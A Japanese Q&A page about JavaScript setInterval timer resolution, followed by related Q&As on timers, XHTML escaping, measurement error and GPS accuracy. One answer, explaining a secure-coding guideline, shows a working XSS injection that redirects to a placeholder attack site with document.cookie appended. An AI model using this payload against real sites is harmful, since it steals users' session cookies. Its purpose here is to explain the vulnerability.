いつもお世話になっています。

タイマーの実験をしてみようかと思い、タイマー関数のサンプルをちょっと触ってみて、気になることがありました。
スクリプトとしては、次のようなものです。

<HTML>
<HEAD>
<SCRIPT Language="JavaScript">
<!--
timerID = 10;
count = 0;
function timerX(){
status = "Counter is " + count++;
}
function clr(){ clearInterval(timerID); }
// -->
</SCRIPT>
<BODY bgColor="white" onLoad="timerID = setInterval('timerX()',1000);">
(以下略)

このスクリプトを実行すると、1秒毎に1カウント増えていきますから、ステータスに表示される数値は10秒で10になります。
ですから、1を指定する、つまりsetInterval('timerX()',1);にすれば、論理上、10秒で10000になるはずですよね?
ところが実際にステータスに出る数値はそうはならず、かなり低い数字になってしまいます。
そこで質問なのですが、setTimeoutまたはsetIntervalでタイマーを作る場合、ミリ秒はどのくらいまで有効なのでしょうか。
ひょっとして、マシンに依存するのでまちまちなのでしょうか。
経験等でご存じの方、お教えください。

このQ&Aに関連する最新のQ&A

A 回答 (2件)

環境に依存すると思います。


推測ですが、setIntervalの処理は例えばWindowsですと、Windowsのタイマーを使用して実装していると思われます。
その場合には、メッセージキュー内でのWM_TIMERメッセージの優先度が低いために、
実際にウィンドゥプロシージャが1ミリ秒ごとにWM_TIMERを解釈してtimerX()関数の処理をするわけではない、というのがおそらく原因でしょう。
このことは、他のプログラムを実行しながらこのカウンタを回すと、カウントされる数値がさらに小さくなることと合致します。

参考URL:http://www.microsoft.com/japan/developer/library …
    • good
    • 0
この回答へのお礼

解答ありがとうございました。
お返事が遅れて申し訳ありません。

OS自身のタイマー優先度に依存している、ということはスクリプトを組む側からはどうしようもない、ということかも知れません。
ただ、それならばなぜ、ミリ秒単位まで指定することが可能なのかが疑問です。
こういうことは仕方のないことなのでしょうか?

#まあこの辺になるとOSの開発者の問題とかになるのかな。(^^;;)

お礼日時:2002/03/24 22:38

有効な値はないと思います。



例えば、WinNT が0.0111秒ごとに動作できるとしたら、
JavaScript で0.001秒ごとの処理をしようと思っても、
0.0111 と 0.001 の歯車はうまくかみ合わない。
JavaScript で指定する値にゆとりを持たせて10秒を指定しても、
0.0111 と 10 の歯車はうまくかみ合わない。

setInterval('timerX( )',1000) は、1秒ごとに動作するけど、
ループによる次の setInterval( ) の実行の時は、初回の時の
時間を参考にせず、前回の実行から1秒後に timerX( ) を
実行しているんだと思う。
初回の時の時間を参考にしていないから、setInterval( ) が
実行されるたびに、実際の時間とのずれが蓄積されていくんだと思う。

時間のずれは発生するから、setInterval( ) でのループを
1000回ぐらいやったら、もう一度時間を取得しなおす
とかすれば、そこそこいい結果になると思います。

setInterval('timerX()',1)
のような高速処理をされるなら、setTimeout( ) の方がよさそうです。
setTimeout( ) を for( ) でループされるとか。
setTimeout( ) の方が処理が軽いらしく、高速処理ができます。
    • good
    • 0
この回答へのお礼

解答ありがとうございました。
今度、forでくくって実験してみようと思います。

お礼日時:2002/04/04 17:40

このQ&Aに関連する人気のQ&A

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人はこんなQ&Aも見ています

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

Q精度と確率誤差

10ml容ホールピペットの器差を求める実験を行なったんですが、この実験の精度を測ることができません。
各計算結果は以下のように出ました。

ホールピペットの20℃における内容積を調べたところ、9.974、9.973、9.980という結果が出た。
この平均値は9.976、標準偏差は14.11、確率誤差は9.517であった。

この中で上の確率誤差に着目して精度を測りたいんですが、イマイチ確率誤差の定義が分かりません。

確率誤差と精度はどのように関連していますか?
この実験における確率誤差からは精度に関してどのようなことが言えますか?

有識者の方ご指南お願いします。

Aベストアンサー

確率誤差は、その誤差よりも(絶対値の)大きい誤差が発生する場合と、小さい誤差が発生するのが等しい値のはずです。正規分布の場合、確率密度関数を-ρから+ρまで積分して1/2になるρを指します。所謂σの0.6745倍のはずです。しかしもとのデータから出している平均値はよろしいですが、標準偏差と確率誤差は異常ですね。不偏分散の平方根(標準偏差の推定値)は3.78x10^-3になると思うのですが。確率誤差はそれに0.6745をかければよいのではないでしょうか?

Q 内に書くことはできません」

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてしまいます。
エラーが表示されるタグは下記のようなものです。

<script type="text/javascript">
document.write('<img src="http://~/w3a/writelog.php?ref='+document.referrer+'" width="1" height="1" />');
</script> >

アクセスログは普通に取得できているので問題ないのですが、もし上記エラーを回避する方法があればご教授下さい。よろしくお願いします。

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてし...続きを読む

Aベストアンサー

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタグがエスケープされていないため、これがスクリプトの一部ではなく文書構成要素だと判断されるからです。XHTML 1.0 のスキーマは、script 要素内に img 要素が出現することを許していません。もちろん、スクリプトとしても正しく動作しません。

従って、XML のルールに従ってエスケープする必要があります。特に「<」と「&」は必ずエスケープしなければなりません。

document.write('&lt;img .... />');

ですが面倒なことに、「ニセモノの XHTML」ではこれが動作しなくなります。「ニセモノの XHTML」は、HTML との互換性のために script 要素内の「<」「&」をうまく扱ってくれるのですが、それが仇となり、上記では「&lt;」が「<」に戻りません。

ならば、コメント区間にするのはどうでしょう。XML でもコメント内なら「<」「&」が現れても大丈夫です(ただし「--」だけは駄目です)。

<script type="text/javascript"><!--
document.write('<img .... />');
//--></script>

「ニセモノの XHTML」ならこれでも構いません。しかし、「ホンモノの XHTML」では、コメントは本当に破棄されてしまい、上記では動作すらしなくなります。

そこで、XML/HTML のルールを使わず、JavaScript のルールでエスケープすることを考えます。

document.write('\u003Cimg .... />');

これなら大丈夫でしょう。XML/HTML に限らず、言語が混在する際は必ず適切なエスケープを施す必要があります。エスケープを避けたければ外部スクリプトにして下さい。


なお、ここには別の問題があります。そもそも「ホンモノの XHTML」では、document.write を使用できません。これは HTML 互換の機能だからです(HTML5 に明記されています)。

XHTML を採用するのであれば、それが「ホンモノ」でも「ニセモノ」でも大丈夫なよう、document.write に頼らないコードを作成して下さい。あるいは try...catch で括るなどして、「ニセモノ」として処理されたときのみコードが動作するよう工夫して下さい。あるいはいっそ、XHTML を止めるのも 1 つの選択でしょう。

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタ...続きを読む

Q携帯電話とPHSのGPS機能の誤差精度

http://k-tai.impress.co.jp/cda/article/news_toppage/4410.html
http://www.kyocera.co.jp/frame/product/telecom/phs/ap-k301t/nav/
ウィルコムのPHSのぴぴっとフォンを子供に持たせ「ここだよナビ」を使っています。「ぴぴっとフォンが送信する基地局情報は、最寄りの基地局の分布状況によって誤差があるため、現在位置は場所により正しく表示されない可能性があります」とありますが、100M以上誤差があり使い物になりません。自分の車のカーナビの誤差は10Mくらいですがこれくらいの精度がほしいです。
 ちょっと位置情報提供機能には疎いのですが
1)カーナビや携帯にGPS機能とぴぴっとフォンの機能とはしくみが別ですか。
2)ドコモのイマドコサーチやauのナビウォークの誤差精度はどうですか。携帯でもこれくらいの精度なら買い換えたいです。

Aベストアンサー

auを使用しています。
GPSの精度はかなりの精度と考えて良いですよ♪
自分は旅行とかでよく使用しますが見晴らしのよい場所でドンピシャに近いです。
感度レベルは1~3まであります。室内では1なので数十メートルの誤差はやっぱり出ますが、室内なんかで使わないですよね?

多数ある人工衛星を三つ補測することで数十センチから数メートル位でしょうか?
友人も沖縄に旅行したときにナビウォークと助手席ナビには満足したみたいです。

ドコモのSA700iSが発売されたときに精度を問い合わせた事があるのですが、30メートルからの誤差だそうです。

ボーダフォンは海外でも使えるようですが、国内で満足できないので問い合わせまではしませんでした。

2007年以降、3G携帯は原則GPS機能搭載へ
http://plusd.itmedia.co.jp/mobile/articles/0405/18/news034.html

今後GPSは標準装備になると思いますが、現状では間違いなくauだと思いますよ?

参考例として千葉県の富津岬の一番先端のテトラポットでGPSを使ったら先端に表示しました。

参考URL:http://k-tai.impress.co.jp/cda/article/review/25585.html

auを使用しています。
GPSの精度はかなりの精度と考えて良いですよ♪
自分は旅行とかでよく使用しますが見晴らしのよい場所でドンピシャに近いです。
感度レベルは1~3まであります。室内では1なので数十メートルの誤差はやっぱり出ますが、室内なんかで使わないですよね?

多数ある人工衛星を三つ補測することで数十センチから数メートル位でしょうか?
友人も沖縄に旅行したときにナビウォークと助手席ナビには満足したみたいです。

ドコモのSA700iSが発売されたときに精度を問い合わせた事があるの...続きを読む

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

Q計測器の精度について質問です。 精度の中には、経時誤差の精度(Acc)

計測器の精度について質問です。 精度の中には、経時誤差の精度(Acc)と値の安定性(Sta)がありますが、その違いをもう少しわかりやすく教えていただけませんか? また一般的に測定時に出た値に対して使うのはどちらでしょうか?

また、例えば精度がプラスマイナス10μmの計測器の分解能が1μmという計測器の場合、分解能が1μm単位でも、精度が10μmでプラスマイナス動くのであれば意味がないように感じますが。。。

業界の方にとってはくだらない質問かもしれませんが、ご教示よろしくお願いします。

Aベストアンサー

KEN_2 です。
>測定レンジは230μm~2.54mmです。また精度はF.S±0.5%と聞いています。
測定レンジは230μm~2.54mmの間にレンジ切替えがある筈です。???
仮に、2.54mmFS±0.5%のみであれば、約±12.5μmの測定誤差で零点調整が出来ないタイプですので全測定範囲で±12.5μmの測定誤差を測定器メーカはうたいます。

>この場合は、2.54mmを測定した時は、2.54mmの±0.5%=約12.5μmの測定誤差が出ますが、
>仮に500μmを測定した時は、約3μm程度の測定誤差になるということでよろしいですか?
「測定レンジは230μm~」がありますので、測定器メーカは±12.5μmの測定誤差を全測定範囲でとうたい、測定実力は中心測定値付近の1275μm付近が精度が良く、上下限付近で急激に誤差が発生するタイプです。
実力と誤差保証は違いますので、『仮に500μmを測定した時は、約3μm程度の測定誤差・・・』は参考値として捉えてください。
測定器メーカの保証するのは、精度はF.S±0.5%であれば全範囲±12.5μmの測定誤差となります。
あと、隙間ゲージですので、周囲温度の影響が顕著に加わります。
周囲温度管理も重要な要素になります。

>実際に500μmのギャップを測定した時は、498μm~500μmの値を示します。
>よって、Accの範囲内にStaが含まれるような形でしょうか。。。?
再現性の数値から推定して、Staは無視出来る範囲であるので規定していないと判断されます。
 

KEN_2 です。
>測定レンジは230μm~2.54mmです。また精度はF.S±0.5%と聞いています。
測定レンジは230μm~2.54mmの間にレンジ切替えがある筈です。???
仮に、2.54mmFS±0.5%のみであれば、約±12.5μmの測定誤差で零点調整が出来ないタイプですので全測定範囲で±12.5μmの測定誤差を測定器メーカはうたいます。

>この場合は、2.54mmを測定した時は、2.54mmの±0.5%=約12.5μmの測定誤差が出ますが、
>仮に500μmを測定した時は、約3μm程度の測定誤差になるということでよろしいですか?
「測定レンジは230μm~」...続きを読む

Q

数十の<a>タグがあるHTMLファイルの中で、
<div id="blank">で囲まれた<a>タグ群のみをすべてtarget="_blank"にしたいと考えています。
該当する<a>タグすべてにtarget="_blank"を書くと、HTMLファイルの容量が大きくなるので、CSSのIDとJavaScriptを組み合わせて、実現できないものでしょうか。

Aベストアンサー

<base target="_blank">
<div id="blank">
 <!-- -->
</div>
<base target="_self">

Qスピードメーターの誤差GPSスピードメーターの精度

CT51S ワゴンR スピードメーターの誤差とGPSスピードメーターの精度について
スマートフォンのアプリでGPSのスピードメーターがあることを知り使ってみましたが、CT51S ワゴンRのスピードメーターとの誤差がかなりあります。色々速度で統計を取ってみました。
40km/hで2km/h位GPSの方がが遅く表示され、60km/hで3km/h位GPSの方がが遅く表示され、100km/hで5~6km/h位GPSの方がが遅く表示され、120km/hでは8~10km/h位GPSの方がが遅く表示されいました。
こんなものなのでしょうか?
実際のスピードメーターは実際の速度より遅く出るとは聞いてはいましたが、こんなこんなに出るものなのでしょうか?
そもそもGPSのスピードメーターの精度と車のスピードメーターの精度はどちらが精度が高いのでしょうか?(実際の速度に近いか)

ちなみに買ったときからインチアップしてあり13インチから14インチになっていました。
155 65 R13が純正サイズですが155 55 R14を履いています。
計算すると6mmほど直径が小さいタイヤなのですがこの位でメーター速度は変わるのでしょうか?

CT51S ワゴンR スピードメーターの誤差とGPSスピードメーターの精度について
スマートフォンのアプリでGPSのスピードメーターがあることを知り使ってみましたが、CT51S ワゴンRのスピードメーターとの誤差がかなりあります。色々速度で統計を取ってみました。
40km/hで2km/h位GPSの方がが遅く表示され、60km/hで3km/h位GPSの方がが遅く表示され、100km/hで5~6km/h位GPSの方がが遅く表示され、120km/hでは8~10km/h位GPSの方がが遅く表示されいました。
こんなものなのでしょうか?
実際のスピードメーターは実際...続きを読む

Aベストアンサー

もう質問者さん自身も解ってきたと思いますが。
自動車メーターはある意味
「絶対に実速度を下回る数値を示してはいけない」のです。
これは保安基準で定められています。

じゃあ。
逆に速度計がぴったりかどうかは
プロの方のご意見もあるように
1割前後は多く示されているのが普通なのです。

タイヤ誤差はすでに回答したように
これに比べれば微々たる者です。
10パーセントにもなる差は有りません。

全く自動車の速度計は正確ではありません。
オドメーターもね。

GPSの4m誤差に対して言えば、
現在の衛生誤差ですね。
最大でも
1km走った後に、前後で8m以内の誤差です。

自動車速度計の距離誤差は
1割前後ですから、
10m走ったら1m狂っているのです。
1kmはしったら?たいへんですよ・・・
100mも誤差があるのです。

当然GPSの方が遙かに正確です。

国産車の多くは、
たいてい1割多く表示されているようになっているのは
メーカー基準の話ですね。
ドイツ車もアメリカ車もそしてもちろん日本車もそういうチューンが施されているのが
普通です。

知らない人は知りませんね。
自分でユーザー車検やる人や多数の車検を通す認証工場のプロはみんな知っていますが
単なるユーザーには教えてくれません
=調子に乗って速度違反するから。

もう質問者さん自身も解ってきたと思いますが。
自動車メーターはある意味
「絶対に実速度を下回る数値を示してはいけない」のです。
これは保安基準で定められています。

じゃあ。
逆に速度計がぴったりかどうかは
プロの方のご意見もあるように
1割前後は多く示されているのが普通なのです。

タイヤ誤差はすでに回答したように
これに比べれば微々たる者です。
10パーセントにもなる差は有りません。

全く自動車の速度計は正確ではありません。
オドメーターもね。

GPSの4m誤差に対して言えば、
現在の...続きを読む

Q

▼次のようにページ内のdivタグのidの名前によって、formタグ内の要素をdisableにすることはJava scriptによって可能でしょうか?

<div id="AA">のとき、別の場所にある<form id="BB">内のselect要素などすべての要素をdisableにする。

また同時に、id="BB"に指定したスタイルシートの記述を書き換えることは可能でしょうか?

何かよい方法をご存知でしたら教えてください。よろしくお願いいたします。

Aベストアンサー

>なぜか時々エラーが出ます。
ウチでちょっと試した程度ではエラーが発生しませんでした。
できましたら、発生したときのメッセージや場所また、ブラウザの種類なども教えてください。

以下は、予防的な意味での注意点についてちょっと書きます。
>return false;

は、必要ないです。
書かない方がいいと思います。
==nullの場合の処理が必要ないなら
!=nullにすればよいです。
もしくは
return false;でなくて
;
のように空文でもよいです。
あと、idに使っている名前と同じ名前を変数名として使わない方が良いです。
つまり、
id="soldout"の時に
var soldout;という風にはしない方が良いです。
同じでなければ、cartFormでもなんでもかまいません。
あと、scriptは、
<!--
(スクリプトの中身)
//-->
のように
<!--
//-->
で囲むようにします。

getElementById
は、ブラウザやのブラウザのバージョンによっては使えないことがあります。
その場合は、使えるかどうかを調べる必要があります。

<script type="text/javascript">
<!--
function stockStatus (num){
var f=document.getElementById("soldout");

if(f!=null){
for (var i =0; i<=f.length -1 ;i++){
f.elements[i].disabled=num;
}
}
}
//-->
</script>

>なぜか時々エラーが出ます。
ウチでちょっと試した程度ではエラーが発生しませんでした。
できましたら、発生したときのメッセージや場所また、ブラウザの種類なども教えてください。

以下は、予防的な意味での注意点についてちょっと書きます。
>return false;

は、必要ないです。
書かない方がいいと思います。
==nullの場合の処理が必要ないなら
!=nullにすればよいです。
もしくは
return false;でなくて
;
のように空文でもよいです。
あと、idに使っている名前と同じ名前を変数名として...続きを読む

Q電波時計の制度についてですが、電話の時刻と比べると10秒誤差があり。ネ

電波時計の制度についてですが、電話の時刻と比べると10秒誤差があり。ネット時刻では3秒程の誤差があります。
電波時計の精度はかなり高いと思いますが、この誤差の精度はどんなもんなんでしょうか

Aベストアンサー

『電波時計』
各送信局から送られてくる信号を、電波時計に内蔵された受信機が一定時間ごとに読み取り(読取間隔は機種ごとにそれぞれ異なる)、自動的に時刻を合わせている。


私が買ったアナログ壁掛け電波時計は、安物でしたが、読取間隔が1日2回、要するに12時間おきでした。確か秒針長針とも頂点の時、0時・12時だったかな…?

あいだの12時間中に1秒でも進んでると、修正するのに前進しかしないので、12時間分グルグル毎日回ってました。修正が完了するのに2分位かかってましたから、最終的に秒まで合ったのかどうかは疑問でしたね。

電波は光速度ですから、「読み取り時」には1秒もずれないはずですよ。

Q&= ~0x0c; &= ~0x03; |=1;

JavaScriptで分からないコードがあるので教えてください。


■変数設定
var hoge = 0;


■変数格納
・キーを押した時の条件分岐
  ~なら hoge |= 1;
  または hoge |= 2;
  または hoge |= 3;
  または hoge |= 8;

・キーを離した時の条件分岐
  ~なら hoge &= ~0x0c;
  または hoge &= ~0x03;


■変数使用
・swithch文の条件分岐に利用
  (hoge&0x03)
  (hoge&0x0c)


■質問
・どういう意味でしょうか?
・文字コード?
・ビット演算?

Aベストアンサー

ビット演算してるわね

x = x + a

x += a
って書くことができるの

つまり
hoge |= 1

hoge = hoge | 1
のことね

~はNOTのこと

0x
はアスキーコードの16進数表記ねきっと

0x0c は改ページを意味していて
0x03 は文章の最後を意味している
と思われるわ
全文がないので推測だけど


このQ&Aを見た人がよく見るQ&A

人気Q&Aランキング